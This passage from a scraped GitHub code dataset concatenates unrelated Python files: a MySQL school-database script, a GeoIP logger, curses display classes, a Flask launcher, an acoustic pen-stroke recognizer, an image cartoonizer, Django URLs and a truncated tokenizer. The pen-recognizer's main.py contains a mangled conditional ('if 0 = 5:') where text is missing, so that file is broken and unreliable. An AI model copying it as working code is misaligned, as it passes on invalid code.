poruka.setText(\"Pogresna vrednost!\")\n poruka.exec_()\n return \n ","repo_name":"mr2853/rukovalac-informacionim-resursima","sub_path":"src/klase/prikaz_elementa.py","file_name":"prikaz_elementa.py","file_ext":"py","file_size_in_byte":24090,"program_lang":"python","lang":"sh","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"34386989609","text":"import mysql.connector\n\nconectado = False\n\n# Conecta no banco\ndef conecta_banco():\n\n banco = input('Digite o nome do banco: ')\n usuario = input('Digite o nome do usuário do banco: ')\n senha = input('Digite a senha do usuário do banco: ')\n\n db_projeto = mysql.connector.connect(\n host=\"localhost\",\n user=usuario,\n password=senha,\n # database = banco #Se o banco já existir pode ser usado para conectar direto\n)\n global conectado\n conectado = True\n db_cursor = db_projeto.cursor()\n print(f'\\nBanco {banco} conectado.')\n return db_projeto, db_cursor, banco\n\n\n# Cria a conexão e já conecta no banco selecionado\ndef cria_banco():\n\n # Criei uma função só p conectar\n # db_projeto = mysql.connector.connect(\n # host=\"localhost\",\n # user=usuario,\n # password=senha,\n # # database = banco #Se o banco já existir pode ser usado para conectar direto\n # )\n \n db_projeto, db_cursor, banco = conecta_banco()\n db_cursor = db_projeto.cursor()\n db_cursor.execute(f\"CREATE DATABASE {banco}\")\n print(f\"\\nO banco {banco} foi criado com sucesso.\")\n \n # Tenativa de tratamento de erro. Se der tempo volto aqui p acertar\n # db_cursor.execute(\"SHOW DATABASES\")\n # for x in db_cursor:\n # print(x)\n # if banco in x:\n # print(f\"Já existe um banco com o nome {banco}. Por favor selecione outro nome.\")\n # else: \n # # db_cursor.execute(f\"CREATE DATABASE {banco}\")\n # print(f\"O banco {banco} foi criado com sucesso.\")\n\n return db_projeto, db_cursor\n\n\n# Criar as tabelas\ndef cria_tabelas(db_projeto, db_cursor):\n db_cursor.execute(f\"USE {db_projeto}\") # seta o banco\n\n # Cria as tabelas\n db_cursor.execute(\"CREATE TABLE Aluno (CPF VARCHAR(15) NOT NULL, Nome VARCHAR(100) NOT NULL, Endereco VARCHAR(255) NOT NULL, Telefone VARCHAR(30) NOT NULL, Data_Nasc DATE, PRIMARY KEY (CPF))\")\n db_cursor.execute(\"CREATE TABLE Departamento (Codigo INT NOT NULL AUTO_INCREMENT, Nome VARCHAR(255), PRIMARY KEY (Codigo))\")\n db_cursor.execute(\"CREATE TABLE Curso (Codigo INT NOT NULL AUTO_INCREMENT, Nome VARCHAR(100) NOT NULL, Descricao VARCHAR(255), Codigo_Depto INT NOT NULL, PRIMARY KEY (Codigo), FOREIGN KEY (Codigo_Depto) REFERENCES Departamento(Codigo))\")\n db_cursor.execute(\"CREATE TABLE Matricula (Codigo_Curso INT NOT NULL, CPF_Aluno VARCHAR(15) NOT NULL, Data_Matricula DATE, PRIMARY KEY (Codigo_Curso, CPF_Aluno), FOREIGN KEY (Codigo_Curso) REFERENCES Curso(Codigo), FOREIGN KEY (CPF_Aluno) REFERENCES Aluno(CPF))\")\n db_cursor.execute(\"CREATE TABLE Professor (Matricula INT NOT NULL AUTO_INCREMENT, Nome VARCHAR(100), Endereco VARCHAR(255), Telefone VARCHAR(30), Data_Nasc DATE, Codigo_Depto INT, Data_Contratacao DATE, PRIMARY KEY (Matricula), FOREIGN KEY (Codigo_Depto) REFERENCES Departamento(Codigo))\")\n db_cursor.execute(\"CREATE TABLE Disciplina (Codigo INT NOT NULL AUTO_INCREMENT, Nome VARCHAR(50) NOT NULL, Qtde_Creditos INT NOT NULL, Matricula_Prof INT, PRIMARY KEY (Codigo), FOREIGN KEY (Matricula_Prof) REFERENCES Professor(Matricula))\")\n db_cursor.execute(\"CREATE TABLE Cursa (CPF_Aluno VARCHAR(15) NOT NULL, Codigo_Disc INT NOT NULL, PRIMARY KEY (CPF_Aluno, Codigo_Disc), FOREIGN KEY (CPF_Aluno) REFERENCES Aluno(CPF), FOREIGN KEY (Codigo_Disc) REFERENCES Disciplina(Codigo))\")\n db_cursor.execute(\"CREATE TABLE Compoe (Codigo_Curso INT NOT NULL, Codigo_Disc INT NOT NULL, PRIMARY KEY (Codigo_Curso, Codigo_Disc), FOREIGN KEY (Codigo_Curso) REFERENCES Curso(Codigo), FOREIGN KEY (Codigo_Disc) REFERENCES Disciplina(Codigo))\")\n db_cursor.execute(\"CREATE TABLE Pre_Req (Codigo_Disc INT NOT NULL, Codigo_Disc_Dependencia INT NOT NULL, PRIMARY KEY (Codigo_Disc, Codigo_Disc_Dependencia), FOREIGN KEY (Codigo_Disc) REFERENCES Disciplina(Codigo), FOREIGN KEY (Codigo_Disc_Dependencia) REFERENCES Disciplina(Codigo))\")\n\n # exibe as tabelas\n print(\"As tabelas foram criadas com sucesso.\")\n db_cursor.execute(\"SHOW TABLES\")\n for x in db_cursor:\n print(x)\n\n\n# Exibe os bancos\ndef exibe_bancos(db_projeto, db_cursor):\n\n db_cursor.execute(\"SHOW DATABASES\")\n for x in db_cursor:\n print(x)\n\n# # exibe as tabelas\n# db_cursor.execute(\"SHOW TABLES\")\n# for x in db_cursor:\n# print(x)\n\n\n# Inserir uma linha\n# sql = \"INSERT INTO customers (name, address) VALUES (%s, %s)\"\n# val = (\"John\", \"Highway 21\")\n# mycursor.execute(sql, val)\n# mydb.commit()\n# print(mycursor.rowcount, \"record inserted.\")\n\n# Inserir várias linhas\n# sql = \"INSERT INTO aluno VALUES (%s, %s, %s, %s, %s, %s)\"\n# val = [\n# (0, \"Raphael Prado_1\", \"Rio de Janeiro\", \"rapha@email.com\", \"2187458954\", 1),\n# (0, \"Raphael Prado_2\", \"Rio de Janeiro\", \"rapha@email.com\", \"2187458954\", 1),\n# (0, \"Raphael Prado_3\", \"Rio de Janeiro\", \"rapha@email.com\", \"2187458954\", 1),\n# ]\n# db_cursor.executemany(sql, val)\n# db_projeto.commit()\n# print(db_cursor.rowcount, \"was inserted.\")\n\n# Select\n# db_cursor.execute(\"SELECT * FROM Aluno\")\n# myresult = db_cursor.fetchall()\n# for x in myresult:\n# print(x)\n\n\ndef solicita_valida_entrada():\n mensagem = '''\n 1. Criar Banco de Dados no MySQL\n 2. Cria as tabelas\n 3. Conectar\n 4. Exibe os bancos do seu ambiente\n 5. Insere os dados nas tabelas\n 0. Sair\n '''\n opcao = input(mensagem)\n \n while not opcao.isdigit() or int(opcao) < 0 or int(opcao) > 5:\n print(\"Opção digitada inválida. Digite novamente.\")\n opcao = input(mensagem)\n opcao = int(opcao)\n\n return opcao\n\ndef menu():\n opcao = solicita_valida_entrada()\n while opcao != 0: # Sair\n if opcao == 1: # Criar Banco de Dados no MySQL\n # banco = input('Digite o nome do banco: ')\n # usuario = input('Digite o nome do usuário do banco: ')\n # senha = input('Digite a senha do usuário do banco: ')\n db_projeto, db_cursor = cria_banco()\n \n elif opcao == 2: # Cria as tabelas\n cria_tabelas(db_projeto, db_cursor)\n\n \n elif opcao == 3: # Conectar\n db_projeto, db_cursor, banco = conecta_banco()\n\n # try: # If\n # len(matriz_gerada) == 0\n # except: # Caso ela não exista ainda\n # print(\"Você deve executar a opcão 1 primeiro.\")\n # else:\n # print(\"\\nEstatísticas da execução:\")\n\n \n elif opcao == 4: # Exibe os bancos\n if conectado == False:\n db_projeto, db_cursor, banco = conecta_banco()\n exibe_bancos(db_projeto, db_cursor)\n else:\n exibe_bancos(db_projeto, db_cursor)\n\n # try:\n # arq = open(caminho_log)\n # except: #FileNotFoundError:\n # print('Erro: Arquivo de log não encontrado.\\nExecute a opção 1 ao menos 1 vez.')\n # else:\n # with open(caminho_log, encoding='UTF-8') as log:\n # print(log.read())\n\n elif opcao == 5: # Conectar\n db_projeto, db_cursor, banco = conecta_banco()\n \n opcao = solicita_valida_entrada()\n\n print(\"Tchau, obrigado.\\n\")\n db_cursor.close()\n db_projeto.close()\n\nmenu()\n","repo_name":"raphacp/Magalu40","sub_path":"840 Desenvolve 40 Python/4 - Banco de Dados/projeto_4_escola.py","file_name":"projeto_4_escola.py","file_ext":"py","file_size_in_byte":7228,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"7334813525","text":"import geoip2.database\nfrom apps.app.data import log_file\n\n\ndef get_visitor_ip_address(request):\n x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR')\n\n if x_forwarded_for:\n ip = x_forwarded_for.split(',')[0]\n else:\n ip = request.META.get('REMOTE_ADDR')\n return ip\n\n\ndef log_ip_location(ip):\n reader = geoip2.database.Reader('./GeoLite2-City_20190430/GeoLite2-City.mmdb')\n response = reader.city(ip)\n\n print(response.country.name)\n print(response.country.names['zh-CN'])\n print(response.city.name)\n\n reader.close()\n","repo_name":"me-big-tuwien-ac-at/modeling-tool-repo","sub_path":"GenericWebPortal-main/apps/app/ip_info.py","file_name":"ip_info.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10992610878","text":"#!/usr/bin/env python3\nimport shared.shared as share\n\nfrom time import sleep\n\nfrom colors.color import Colors\nfrom gadgets.line_numbers import LineNumbers\nfrom shared.utils import FileSearcher\nfrom tasks.task_list import TaskList\n\n\nclass Banner:\n _banner = None\n\n # MODIFY: Defaults\n _default_color = 'Bold'\n _banner_path = FileSearcher.find_file(\n __file__,\n 'banner',\n )\n\n @staticmethod\n def _load_banner():\n if not Banner._banner:\n with open(Banner._banner_path, 'r') as f:\n Banner._banner = f.read()\n\n return Banner._banner\n\n @staticmethod\n def _print_banner(\n stdscr,\n y,\n x,\n ):\n banner = Banner._load_banner()\n\n for y, line in enumerate(\n banner.splitlines(),\n y,\n ):\n stdscr.addstr(\n y,\n x,\n line,\n Colors.get_color(Banner._default_color)\n )\n\n return y\n\n @staticmethod\n def loop_banner(\n stdscr,\n y,\n x,\n ):\n while True:\n with share.quit_lock:\n if share.is_quit:\n break\n Banner._print_banner(\n stdscr,\n y,\n x,\n )\n sleep(1)\n\n @staticmethod\n def banner_lines():\n banner = Banner._load_banner()\n\n return banner.count('\\n')\n\n\nclass Tasks:\n _task_list = None\n\n # MODIFY: Task filename\n _task_path = FileSearcher.find_file(\n __file__,\n 'tasks.yaml',\n )\n\n @staticmethod\n def _load_task_list():\n if not Tasks._task_list:\n Tasks._task_list = TaskList.from_yaml(Tasks._task_path)\n\n return Tasks._task_list\n\n @staticmethod\n def print_tasks(\n stdscr,\n y,\n max_x,\n ):\n task_list = Tasks._load_task_list()\n\n selected = 0\n start_y = y\n\n for y, task in enumerate(\n task_list,\n y,\n ):\n task_str = str(task)\n\n if task.selected:\n selected = y - start_y\n\n if task_str:\n task_attr = Colors.get_color(\n task.color,\n )\n stdscr.addstr(\n y,\n 4,\n task_str + ' ' * (max_x - len(task_str) - 4),\n task_attr,\n )\n\n LineNumbers.update_line_nums(\n stdscr,\n start_y,\n y,\n selected,\n )\n\n return y, task_list\n","repo_name":"maxwolfe/task-max","sub_path":"src/screen/outputs.py","file_name":"outputs.py","file_ext":"py","file_size_in_byte":2742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"16119557202","text":"import turtle\nturtle.goto(0, 0)\nschritteAnzahl = 13\nnMinus2 = 0\nnMinus1 = 1\nwhile schritteAnzahl > 0:\n schritteAnzahl = schritteAnzahl - 1\n n = nMinus2 + nMinus1\n i = 0\n while i < 4:\n turtle.forward(n)\n turtle.right(90)\n i = i + 1\n nMinus2 = nMinus1\n nMinus1 = n","repo_name":"clander/voprogrammieren","sub_path":"VO-Teil-1/GrundkonzepteProgrammierung/TurtleBeispiele/fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29789967731","text":"from flask import Flask, render_template, request, json, redirect\nfrom DinoGame import rundino\nfrom threading import Thread # From 'flask' module import 'Flask' class\n\napp = Flask(__name__) # Construct an instance of Flask class for our webapp\n\n@app.route('/')\ndef entry_point():\n return render_template('index_2.html')\n\n@app.route('/rundino')\ndef go_to_dino():\n Thread(target=rundino).start()\n url='https://chromedino.com/'\n return redirect(url, code=307)\n\nif __name__ == '__main__': # Script executed directly (instead of via import)?\n app.run(debug=True) # Launch built-in web server and run this Flask webapp","repo_name":"nidub/Colour-detection-python-game","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"2628876506","text":"import mfcc\r\nimport tdoa\r\nimport operator\r\nimport modlewrite\r\nimport numpy as np\r\nfrom sklearn.metrics import classification_report\r\nfrom functools import reduce\r\nnum = 95\r\n#结果转化\r\ndef category(y_hat):\r\n group = 0\r\n count = [0] * 7\r\n for j in range(0, len(y_hat)):\r\n for i in range(0, 7):\r\n if int(y_hat[j]) == i:\r\n count[i - 1] = count[i - 1] + 1\r\n for i in range(0, 7): # 待识别笔画的类别数\r\n if count[i] != 0:\r\n group += 1\r\n t = 0\r\n count.append(len(y_hat))\r\n count.append(group)\r\n count = list(map(str, count))\r\n return(count)\r\n\r\ndef arrchange(arr):\r\n arr = reduce(operator.add,arr)\r\n return arr\r\n\r\ndef len0(x):\r\n sum = 0\r\n for i in range(0,len(x)):\r\n if x[i] !='0':\r\n sum = sum +1\r\n return(sum)\r\n\r\ndef contrast(y_hat,x,y,word):\r\n flag =0\r\n num_x =len0(x)\r\n num_y_hat = len0(y_hat)\r\n if num_y_hat != num_x:\r\n return (word)\r\n else:\r\n for i in range(0,num_x):\r\n if x[i]== y_hat[i] :\r\n flag=flag+1\r\n n = num_y_hat - flag\r\n word[n].append(y)\r\n return(word)\r\n\r\n\r\ndef compare(result,x,y):\r\n word =[]\r\n flag = 0 #置信度\r\n if operator.eq(result, x) == True:\r\n word.append(y)\r\n for k in range(0, 7):\r\n if int(x[7]) == len(result) and int(result[k] == x[k]) and int(result[k]) != 0: # 相同的笔画类别\r\n flag = flag + 1\r\n if int(x[7]) == len(result) and (int(result[8]) == int(x[8]) - 1) and flag == int(x[8]) - 2: # 笔画数目相同但有一个笔画类别识别错误\r\n word.append(y)\r\n return(word)\r\n'''\r\ndef main():\r\n reader_mfcc = modlewrite.data_read_csv('pen2mfcc.csv') # 文件中是待识别汉字的特征值\r\n reader_mfcc_tdoa = modlewrite.data_read_csv('pen2_tdoa760.csv')\r\n y_hat_mfcc = []\r\n\r\n X_mfcc= modlewrite.feature_read(reader_mfcc, 210, num * 16 * 3 + 16 * 2) # 读取特征数据\r\n X_tdoa = modlewrite.feature_read(reader_mfcc_tdoa, 210, num)\r\n\r\n X = np.hstack([X_mfcc, X_tdoa]) # 时频域特征组合\r\n\r\n y_hat_mfcc = modlewrite.tree_read(X_mfcc)\r\n y_hat_tdoa = modlewrite.tree_tdoa_read(X_tdoa)\r\n y_hat_mfcc_tdoa =modlewrite.tree_mfcc_tdoa_read(X)\r\n print(\"classification report:\")\r\n target_names = ['1', '2', '3', '4', '5', '6', '7']\r\n y_test = ['1']*30+['2']*30+['3']*30+['4']*30+['5']*30+['6']*30+['7']*30\r\n print('时频域特征组合识别笔画结果:')\r\n print(classification_report(y_test, y_hat_mfcc_tdoa, target_names=target_names))\r\n print('仅频域特征识别笔画结果:')\r\n print(classification_report(y_test, y_hat_mfcc, target_names=target_names))\r\n print('仅时域特征识别笔画结果:')\r\n print(classification_report(y_test, y_hat_tdoa, target_names=target_names))\r\n\r\n\r\n\r\n\r\nif __name__=='__main__':\r\n main()\r\n'''\r\ndef main(s):\r\n times_L,time_energyL =mfcc.stft(s)\r\n n,x1,x2 = mfcc.mfcc(times_L,time_energyL,s) #待识别汉字的笔画个数,频域特征提取\r\n print(n)\r\n tdoa.tdoa(s,x1,x2) #时域特征提取\r\n #使用训练好的模型进行笔画识别\r\n reader_mfcc =modlewrite.data_read_csv('mfcc.csv') #文件中是待识别汉字的特征值\r\n reader_mfcc_tdoa = modlewrite.data_read_csv('tdoa.csv')\r\n\r\n X_mfcc = modlewrite.feature_read(reader_mfcc,n,num*16*3+16*2) #读取特征数据\r\n X_tdoa = modlewrite.feature_read(reader_mfcc_tdoa,n,num)\r\n\r\n X = np.hstack([X_tdoa,X_mfcc]) #时频域特征组合\r\n y_hat_mfcc= modlewrite.tree_read(X_mfcc)\r\n y_hat_mfcc_tdoa = modlewrite.tree_mfcc_tdoa_read(X)\r\n\r\n print('仅频域特征识别笔画结果:',y_hat_mfcc)\r\n print('时频域特征组合识别笔画结果:',y_hat_mfcc_tdoa)\r\n\r\n #笔画识别结果转化为字典集相同形式\r\n# result_mfcc = category(y_hat_mfcc)\r\n# result_tdoa = category(y_hat_mfcc_tdoa)\r\n\r\n# print (\"仅频域特征识别结果:\",result_mfcc)\r\n# print (\"时频域特征组合识别结果:\",result_tdoa)\r\n\r\n reader_data =modlewrite.data_read_csv('data1.csv') #数据库文件\r\n word_mfcc =[[] for i in range (12)]\r\n word_mfcc_tdoa =[[] for i in range (12)]\r\n\r\n#对比数据库结果\r\n for x in reader_data:\r\n y = x[0]\r\n x.remove(x[0])\r\n word_mfcc = contrast(y_hat_mfcc,x,y,word_mfcc)\r\n word_mfcc_tdoa= contrast(y_hat_mfcc_tdoa,x,y,word_mfcc_tdoa)\r\n\r\n word_mfcc = arrchange(word_mfcc)\r\n word_mfcc_tdoa = arrchange(word_mfcc_tdoa)\r\n\r\n\r\n if len(word_mfcc)==0:\r\n print(\"mfcc分类失败!\")\r\n if len(word_mfcc_tdoa)==0 and len(word_mfcc) == 0:\r\n print(\"mfcc_tdoa分类失败!\")\r\n return\r\n else:\r\n if 0 = 5:\r\n print(word_mfcc[0],word_mfcc[1],word_mfcc[2],word_mfcc[3],word_mfcc[4])\r\n\r\n if len(word_mfcc_tdoa) <5:\r\n print(\"时频域特征组合识别汉字:\")\r\n print(word_mfcc_tdoa)\r\n if len(word_mfcc_tdoa) >=5:\r\n print(word_mfcc_tdoa[0], word_mfcc_tdoa[1], word_mfcc_tdoa[2], word_mfcc_tdoa[3], word_mfcc_tdoa[4])\r\n#print(0)\r\nif __name__=='__main__':\r\n s = 'pen2word/9.wav'\r\n main(s)\r\n","repo_name":"dqmyzhang/acoustic-perception","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"13335681761","text":"import random\n\n# Define the list of regions\nregions = [\"IRE\", \"FRA\", \"ROM\", \"SPA\"]\n\n# Read the list of ids from a file and store them in a list\nwith open(\"ids.txt\") as f:\n ids = f.readlines()\nids = [x.strip() for x in ids]\n\n# Define the list of orders\norders = [\"Water\", \"HotChocolate\", \"Tea\", \"Latte\", \"Cappuccino\", \"Americano\", \"Croissant\"]\n\n# Define the list of functions\nfunctions = [\n \"purchase_add.py\",\n \"purchase_deduct.py\",\n \"read_points.py\",\n \"read_transaction_history.py\",\n \"read_user_details.py\",\n \"update_user_details.py\",\n]\n\ndetail_change = [\"email\",\"name\",\"both\"]\n\nshops = [\"1\",\"2\",\"3\",\"4\",\"5\"]\n\nnew_detail_count = 0\n\n# Define the number of iterations\nnum_iterations = 100\n\n# Loop through the iterations and print the strings\nfor i in range(num_iterations):\n # Generate a random shop number between 1 and 20\n shop_number = random.randint(1, 20)\n # Choose a random region from the list\n region = random.choice(regions)\n # Choose a random id from the list\n id = random.choice(ids)\n # Choose a random order from the list\n order = random.choice(orders)\n # Choose a random function from the list\n function = random.choice(functions)\n # Choose random shop\n shop = random.choice(shops)\n # Print the string\n if function == \"purchase_add.py\":\n print(f\"tmux send-keys -t Shops:s{shop_number} 'python {function} --shop {shop} --region {region} --id {id} --order {order}'\")\n elif function == \"purchase_deduct.py\":\n print(f\"tmux send-keys -t Shops:s{shop_number} 'python {function} --region {region} --id {id} --order {order}'\")\n elif function == \"update_user_details.py\":\n change = random.choice(detail_change)\n print(f\"tmux send-keys -t Shops:s{shop_number} 'python {function} --region {region} --id {id} --name new_name{new_detail_count} --email new_email{new_detail_count}@example.com --change {change}'\")\n new_detail_count+=1\n else:\n print(f\"tmux send-keys -t Shops:s{shop_number} 'python {function} --region {region} --id {id}'\")\n \n # Every random number of iterations, sleep for a random amount of time\n if random.randint(1, 3) == 1:\n sleep_time = random.randint(2, 18)\n print(f\"tmux send-keys -t Shops:s{shop_number} 'Sleep {sleep_time}'\")\n","repo_name":"sureshvarshini/Distributed_systems","sub_path":"network_emulation/create_scenario.py","file_name":"create_scenario.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"30240311390","text":"import argparse\nimport time\nimport numpy as np\nfrom collections import defaultdict\nfrom scipy import stats\nimport cv2\n\n\ndef makecartoon(image):\n \"\"\"\n convert image into cartoon-like image\n \"\"\"\n\n output = np.array(image)\n x, y, c = output.shape\n\n for i in xrange(c):\n output[:, :, i] = cv2.bilateralFilter(output[:, :, i], 5, 50, 50)\n edge = cv2.Canny(output, 100, 200)\n\n output = cv2.cvtColor(output, cv2.COLOR_RGB2HSV)\n\n hists = []\n\n hist, _ = np.histogram(output[:, :, 0], bins=np.arange(180+1))\n hists.append(hist)\n\n hist, _ = np.histogram(output[:, :, 1], bins=np.arange(256+1))\n hists.append(hist)\n\n hist, _ = np.histogram(output[:, :, 2], bins=np.arange(256+1))\n hists.append(hist)\n\n C = []\n for h in hists:\n C.append(k_histogram(h))\n print(\"centroids: {0}\".format(C))\n\n output = output.reshape((-1, c))\n for i in xrange(c):\n channel = output[:, i]\n index = np.argmin(np.abs(channel[:, np.newaxis] - C[i]), axis=1)\n output[:, i] = C[i][index]\n output = output.reshape((x, y, c))\n output = cv2.cvtColor(output, cv2.COLOR_HSV2RGB)\n\n contours, _ = cv2.findContours(edge,\n cv2.RETR_EXTERNAL,\n cv2.CHAIN_APPROX_NONE)\n\n cv2.drawContours(output, contours, -1, 0, thickness=1)\n return output\n\n\ndef update_C(C, hist):\n \"\"\"\n update centroids until they don't change\n \"\"\"\n while True:\n groups = defaultdict(list)\n for i in range(len(hist)):\n if hist[i] == 0:\n continue\n d = np.abs(C-i)\n index = np.argmin(d)\n groups[index].append(i)\n\n new_C = np.array(C)\n for i, indice in groups.items():\n if np.sum(hist[indice]) == 0:\n continue\n new_C[i] = int(np.sum(indice*hist[indice])/np.sum(hist[indice]))\n if np.sum(new_C-C) == 0:\n break\n C = new_C\n return C, groups\n\n\ndef k_histogram(hist):\n \"\"\"\n choose the best K for k-means and get the centroids\n \"\"\"\n alpha = 0.001\n N = 80\n C = np.array([128])\n\n while True:\n C, groups = update_C(C, hist)\n\n new_C = set()\n for i, indice in groups.items():\n if len(indice) < N:\n new_C.add(C[i])\n continue\n z, pval = stats.normaltest(hist[indice])\n if pval < alpha:\n left = 0 if i == 0 else C[i-1]\n right = len(hist)-1 if i == len(C)-1 else C[i+1]\n delta = right-left\n if delta >= 3:\n c1 = (C[i]+left)/2\n c2 = (C[i]+right)/2\n new_C.add(c1)\n new_C.add(c2)\n else:\n new_C.add(C[i])\n else:\n new_C.add(C[i])\n if len(new_C) == len(C):\n break\n else:\n C = np.array(sorted(new_C))\n return C\n\t\n\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", \"--image\", required = True, help = \"Path to the image\")\nargs = vars(ap.parse_args())\n\nimage = cv2.imread(args[\"image\"])\nprint('==============')\nstart_time = time.time()\noutput = makecartoon(image)\nend_time = time.time()\nprint(\"time: {0}s\".format(end_time-start_time))\ncv2.imwrite(\"output.jpg\", output)","repo_name":"chasehamrick/Turn-Picture-into-Art","sub_path":"makecartoon.py","file_name":"makecartoon.py","file_ext":"py","file_size_in_byte":3343,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"52"} +{"seq_id":"31327585355","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom .utils import batch_matrix_mul, element_wise_mul, zero_gating_softmax_normalize\nimport pandas as pd\nimport numpy as np\nimport csv\nimport pickle\nfrom sklearn.preprocessing import normalize\n\ntorch.set_default_dtype(torch.float64)\n\n#\n\n\nclass WordAttNet(nn.Module):\n def __init__(self, feature_path, dict_path, max_vocab, use_cuda, dataset):\n super(WordAttNet, self).__init__()\n\n mapping = pickle.load(open(feature_path, 'rb'))\n\n dict_len = len(dataset.index_dict)\n word_feature_size = len(mapping[dataset.index_dict[2002]])\n\n feature = np.zeros((dict_len, word_feature_size))\n for key, value in mapping.items():\n if key in dataset.vocab_dict:\n feature[dataset.vocab_dict[key]] = value\n\n feature[:, 3] = -feature[:, 3]\n feature = normalize(feature, axis=0, norm='max')\n unknown_word = np.zeros((1, word_feature_size))\n feature = torch.from_numpy(np.concatenate([unknown_word, feature], axis=0).astype(np.float))\n\n self.lookup = nn.Embedding(num_embeddings=dict_len,\n embedding_dim=word_feature_size).from_pretrained(feature)\n self.lookup.weight.requires_grad = False\n\n dict_len += 1\n\n self.word_weight = nn.Parameter(torch.Tensor(word_feature_size, word_feature_size))\n self.word_bias = nn.Parameter(torch.Tensor(1, word_feature_size))\n self.context_weight = nn.Parameter(torch.Tensor(word_feature_size, 1))\n self.context_bias = nn.Parameter(torch.Tensor(1))\n self.dict_len = dict_len\n self._create_weights(mean=0.0, std=0.05)\n\n self.context_weight_history = []\n\n def _create_weights(self, mean=0.0, std=0.005):\n\n self.word_weight.data.normal_(mean, std)\n self.word_bias.data.normal_(mean, std)\n\n self.context_weight.data.normal_(1, std)\n\n self.context_bias.data.zero_()\n self.context_bias.requires_grad = False\n\n def forward(self, input):\n # [word ind, batch]\n self.context_weight_history.append(\n self.context_weight.data.cpu().numpy().reshape(-1).copy())\n\n input = input.permute(1, 0)\n f_output = self.lookup(input)\n output = batch_matrix_mul(f_output, self.context_weight, self.context_bias).permute(1, 0)\n attn_score = zero_gating_softmax_normalize(output)\n\n output = element_wise_mul(f_output, attn_score.permute(1, 0))\n\n return output, attn_score\n","repo_name":"kleeeeea/Hiercon","sub_path":"similarity_aggregation/src/word_att_model.py","file_name":"word_att_model.py","file_ext":"py","file_size_in_byte":2533,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"75251449444","text":"from django.urls import path,include\nfrom . import views\nfrom .views import UserPostListView, PostListView, PostDeleteView, PostDetailView, PostCreateView, PostUpdateView\n\nurlpatterns = [\n # path('admin/', admin.site.urls),\n path('',PostListView.as_view(),name='blog-home'),\n path('user/',UserPostListView.as_view(),name='user-posts'),\n path('post/',PostDetailView.as_view(),name='post-detail'),\n path('about/',views.about, name='blog-about'),\n path('post/new/',PostCreateView.as_view(), name='post-create'),\n path('post//update',PostUpdateView.as_view(),name='post-update'),\n path('post//delete',PostDeleteView.as_view(template_name='blog/post_confirm_delete.html'),name='post-delete'),\n\n\n]\n","repo_name":"hruday-tej/Blogify","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74824446885","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 30 13:49:48 2017\n\nFunctions for tokenizing texts.\n\nAll tokenizers are defined as classes that must feature a fit and transform\nmethod.\n\n@author: Álvaro Barbero Jiménez\n\"\"\"\n\nimport re\nimport collections\nfrom itertools import chain\n\nfrom neurowriter.linkedlist import LinkedList\n\n\nclass CharTokenizer:\n \"\"\"Tokenizer that splits a text into its basic characters\"\"\"\n\n @staticmethod\n def fit(corpus):\n # No training necessary\n pass\n\n @staticmethod\n def transform(text):\n return list(text)\n\n def __eq__(self, other):\n return isinstance(other, CharTokenizer)\n\n\nclass WordTokenizer:\n \"\"\"Tokenizer that splits text in words\n \n Punctuation and whitespace symbols are kept as individual\n tokens, so the input text can be rebuild by just concatenating\n all tokens.\n \n Words that have a low number of occurrences in the text are broken\n down to individual characters, to reduce the overall number of tokens.\n \"\"\"\n \n def __init__(self, numsymbols=4096, minfreq=2):\n self.numsymbols = numsymbols\n self.minfreq = minfreq\n self.symbols = None\n # Precompile parsing expression\n self.parser = re.compile('(\\W)')\n \n def fit(self, corpus):\n # First add all basic characters to the dictionary\n self.symbols = set(chain(*[doc for doc in corpus]))\n # Split input in words, get unique tokens and counts\n tokens = collections.Counter(\n chain(*[self.parser.split(doc) for doc in corpus])\n )\n # Filter out unfrequent symbols\n freqsymbols = [(symbol, freq) for symbol, freq in tokens.items() \n if freq >= self.minfreq]\n # Sort remaining symbols by frequency\n srt = sorted(freqsymbols, key=lambda x: x[1], reverse=True)\n # Remove already included characters\n remain = [symbol for symbol, freq in srt if symbol not in self.symbols]\n # Fill the dictionary with symbols until max allowed\n freespace = self.numsymbols - len(self.symbols)\n self.symbols.update(remain[0:freespace])\n \n def transform(self, text):\n # Break input in words\n tokens = self.parser.split(text)\n # For every word not in the recognized symbols list, break into chars\n # If a character has never been seen before, it is ignored\n result = []\n for token in tokens:\n if token in self.symbols:\n result.append(token)\n else:\n for char in token:\n if char in self.symbols:\n result.append(char)\n return result\n\n def __eq__(self, other):\n if not isinstance(other, WordTokenizer):\n return False\n return self.symbols == other.symbols\n\n\nclass SubwordTokenizer:\n \"\"\"Tokenizer that splits text in descriptive subword parts\n\n Subword parts are trained for each corpus, building from single\n characters and using a Byte Pair Encoding (BPE) method.\n\n References:\n - https://en.wikipedia.org/wiki/Byte_pair_encoding\n - https://github.com/rsennrich/subword-nmt\n - https://arxiv.org/abs/1508.07909\n \"\"\"\n\n def __init__(self, numsymbols=4096, minfreq=10, crosswords=False):\n \"\"\"Creates a Byte Pair Encoding Subword 